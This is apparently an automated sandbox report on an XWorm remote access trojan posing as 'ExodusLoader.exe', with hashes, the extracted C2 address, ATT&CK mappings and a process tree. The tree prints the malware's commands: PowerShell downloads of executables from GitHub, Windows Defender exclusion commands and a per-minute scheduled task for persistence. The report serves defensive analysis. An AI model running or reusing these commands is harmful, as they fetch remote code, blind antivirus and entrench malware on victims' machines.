xworm | ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234

Analysis

max time kernel
141s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
02/03/2025, 08:05

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General

Target

ExodusLoader.exe
Size

89KB
MD5

2f3405fa61bec944ed9d869adb6a37e3
SHA1

4a3c839b899809ba89a99eaadecf4da6d71e8256
SHA256

ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234
SHA512

72c8309a2c439adb3790aaf7198d5cdfa5591703a039ca84982752dfc43213a94885aab5a82fc0cfd78e161a792d2c1684e0cae7e4e7d772cc98be4aabdc33c0
SSDEEP

1536:77fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAwWOn:X7DhdC6kzWypvaQ0FxyNTBfAg

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

137.184.74.73:5000

Mutex

Y2rnj2CSRObOXXLb

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/512-72-0x0000000002DF0000-0x0000000002DFE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	2268	powershell.exe
11	2268	powershell.exe
33	3464	powershell.exe
34	3464	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4476	powershell.exe
1184	powershell.exe
2268	powershell.exe
3464	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
11	2268	powershell.exe
34	3464	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation	ExodusInject.exe
Key value queried	\REGISTRY\USER\S-1-5-21-250031470-1197856012-2659781506-1000\Control Panel\International\Geo\Nation	AggregatorHost.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe

Executes dropped EXE 5 IoCs

pid	Process
1108	ExodusInject.exe
1624	Exodus.exe
512	AggregatorHost.exe
4492	System.exe
3764	System.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
11	raw.githubusercontent.com
34	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExodusLoader.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1844	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3228	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2268	powershell.exe
2268	powershell.exe
3464	powershell.exe
3464	powershell.exe
1184	powershell.exe
1184	powershell.exe
4476	powershell.exe
4476	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	1108	ExodusInject.exe
Token: SeBackupPrivilege	3760	vssvc.exe
Token: SeRestorePrivilege	3760	vssvc.exe
Token: SeAuditPrivilege	3760	vssvc.exe
Token: SeDebugPrivilege	1184	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	512	AggregatorHost.exe
Token: SeDebugPrivilege	512	AggregatorHost.exe
Token: SeDebugPrivilege	4492	System.exe
Token: SeDebugPrivilege	3764	System.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1404 wrote to memory of 936	1404	ExodusLoader.exe	85
PID 1404 wrote to memory of 936	1404	ExodusLoader.exe	85
PID 936 wrote to memory of 2268	936	cmd.exe	86
PID 936 wrote to memory of 2268	936	cmd.exe	86
PID 936 wrote to memory of 3464	936	cmd.exe	90
PID 936 wrote to memory of 3464	936	cmd.exe	90
PID 936 wrote to memory of 1108	936	cmd.exe	93
PID 936 wrote to memory of 1108	936	cmd.exe	93
PID 936 wrote to memory of 1624	936	cmd.exe	95
PID 936 wrote to memory of 1624	936	cmd.exe	95
PID 1108 wrote to memory of 1184	1108	ExodusInject.exe	100
PID 1108 wrote to memory of 1184	1108	ExodusInject.exe	100
PID 1108 wrote to memory of 4476	1108	ExodusInject.exe	102
PID 1108 wrote to memory of 4476	1108	ExodusInject.exe	102
PID 1108 wrote to memory of 4116	1108	ExodusInject.exe	106
PID 1108 wrote to memory of 4116	1108	ExodusInject.exe	106
PID 4116 wrote to memory of 1844	4116	cmd.exe	108
PID 4116 wrote to memory of 1844	4116	cmd.exe	108
PID 512 wrote to memory of 3228	512	AggregatorHost.exe	111
PID 512 wrote to memory of 3228	512	AggregatorHost.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe
"C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1404
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C3BD.tmp\C3CE.tmp\C3CF.bat C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Exodus.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3464
- - C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe
    "C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4476
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF230.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4116
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1844
- - C:\Users\Admin\AppData\Local\Temp\Exodus.exe
    "C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
    3⤵
    - Executes dropped EXE
    PID:1624

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3760

C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
1⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:512
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\ProgramData\System.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3228

C:\ProgramData\System.exe
C:\ProgramData\System.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4492

C:\ProgramData\System.exe
C:\ProgramData\System.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\System.exe.log

Filesize
1KB

MD5
c952c967a6c1013f7155cc3efed8cd03

SHA1
dc5bbab6c51387ee4d9863415a196e297457d045

SHA256
f825024aeb196af7aa49d77dccfae841aa55f9fef1c1f6f8f1e0c61032f8be12

SHA512
8126ef222f9ed0f332f56b8754ed24845fc03fadcbe61bf6d82e07da81b143e120ce82be14e59dc98b460e399563e8461bf0925089a71008af58b3acd6d6afef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a2b24af1492f112d2e53cb7415fda39f

SHA1
dbfcee57242a14b60997bd03379cc60198976d85

SHA256
fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

SHA512
9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c07bf0c402c1aa8dd52319599b917514

SHA1
e02d27d0c869afc8fff6bab0d669bf7b3528b4e6

SHA256
e0d3fb91e2be2c950ec7272cd05261a4f0f5d750fff93bdf5de7c6888c199f6a

SHA512
0a58dbd5b5a838720081936105d20e7e837ffc6c5a80041eeae864761d44d9df23e93c957607ee93519b21d262f48e991c9166aaacb7e3bf9778a2042971dced

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3c436b0d9759ef821fc12fc6e4ac566d

SHA1
94863c68a25f03dd68695a07c9ea40df6e23929e

SHA256
eac168392f682206d549f71f6822b8d779af62f663a306ae2476ef691d35b8ae

SHA512
22e535ada7868098c830353f405790a3f7a105b7f484b0b439fea7b2d3e18b01ef3958f74485a0335b09a7864d5baaf8725a6cdc5881b21672e1164c58a03e03

Download Submit
C:\Users\Admin\AppData\Local\Temp\C3BD.tmp\C3CE.tmp\C3CF.bat

Filesize
491B

MD5
54436d8e8995d677f8732385734718bc

SHA1
246137700bee34238352177b56fa1c0f674a6d0b

SHA256
20c5e5f392f2ad19b9397fd074d117c87ca3da37f1151736dbd20322ea7e12c3

SHA512
57ffc0f920bbaf36bbd22ea90c14670f44766e4b81509f54b1dec1be4443e51d8bf0997198de0851e1ea4993e5d786e21c9c1f7f17c792da88eb6bb4a324f448

Download Submit
C:\Users\Admin\AppData\Local\Temp\Exodus.exe

Filesize
507KB

MD5
470ccdab5d7da8aafc11490e4c71e612

SHA1
bc540c0ba7dcb0405a7b6c775f0a1b585d51c4b3

SHA256
849c0420722c1dabb927ff0ab70375bc1197ba73a7f04885460b609392bd319c

SHA512
6b3a09b785c02a57f6330cd6610f8a78b1f6a1689c14a190a9af4ad4ab4666f8a77d75c4c85a3af04693effdc970440ce8d62a4132f66471aaa250f9d90f2f7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe

Filesize
227KB

MD5
38b7704d2b199559ada166401f1d51c1

SHA1
3376eec35cd4616ba8127b976a8667e7a0aac87d

SHA256
153825af8babb75361f4af359bfdd5e95cbdc7f263db5c4e70ac1da8f36bc564

SHA512
07b828073c8f80c5498501c8f64decb5effa702c8bc3d60a2f7d5de36d493b469cbbf413fb0c92c0aadd6ee139bfb75f3b9e936230212d42e57d2ec5671e9b27

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gogtmq5d.sts.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpF230.tmp.bat

Filesize
164B

MD5
52ec08326ab5637a2b0e9e2689fbe6d0

SHA1
1c1b7da5cc4ba0029058986091b759a0123dc472

SHA256
c7e1097fc2708969bcd2b9c9c45d04dd6549fe86924d047a95c221f12e07f006

SHA512
c005a52d6b759e5f8491fd4a3ed6703f645d32595a453c979a58bcef76721e9d1ccfb8075fab8815c91a8214a1f5a906b1af1a7c73f3dbd6b82c67089ff11daf

Download Submit
memory/512-72-0x0000000002DF0000-0x0000000002DFE000-memory.dmp

Filesize
56KB

Download
memory/1108-41-0x0000000000710000-0x0000000000750000-memory.dmp

Filesize
256KB

Download
memory/2268-14-0x00007FFB2AF00000-0x00007FFB2B9C1000-memory.dmp

Filesize
10.8MB

Download
memory/2268-18-0x00007FFB2AF00000-0x00007FFB2B9C1000-memory.dmp

Filesize
10.8MB

Download
memory/2268-13-0x00007FFB2AF00000-0x00007FFB2B9C1000-memory.dmp

Filesize
10.8MB

Download
memory/2268-8-0x000001416C1E0000-0x000001416C202000-memory.dmp

Filesize
136KB

Download
memory/2268-2-0x00007FFB2AF03000-0x00007FFB2AF05000-memory.dmp

Filesize
8KB

Download
memory/3464-35-0x00007FFB2AF00000-0x00007FFB2B9C1000-memory.dmp

Filesize
10.8MB

Download
memory/3464-32-0x00007FFB2AF00000-0x00007FFB2B9C1000-memory.dmp

Filesize
10.8MB

Download
memory/3464-31-0x00007FFB2AF00000-0x00007FFB2B9C1000-memory.dmp

Filesize
10.8MB

Download
memory/3464-30-0x00007FFB2AF00000-0x00007FFB2B9C1000-memory.dmp

Filesize
10.8MB

Download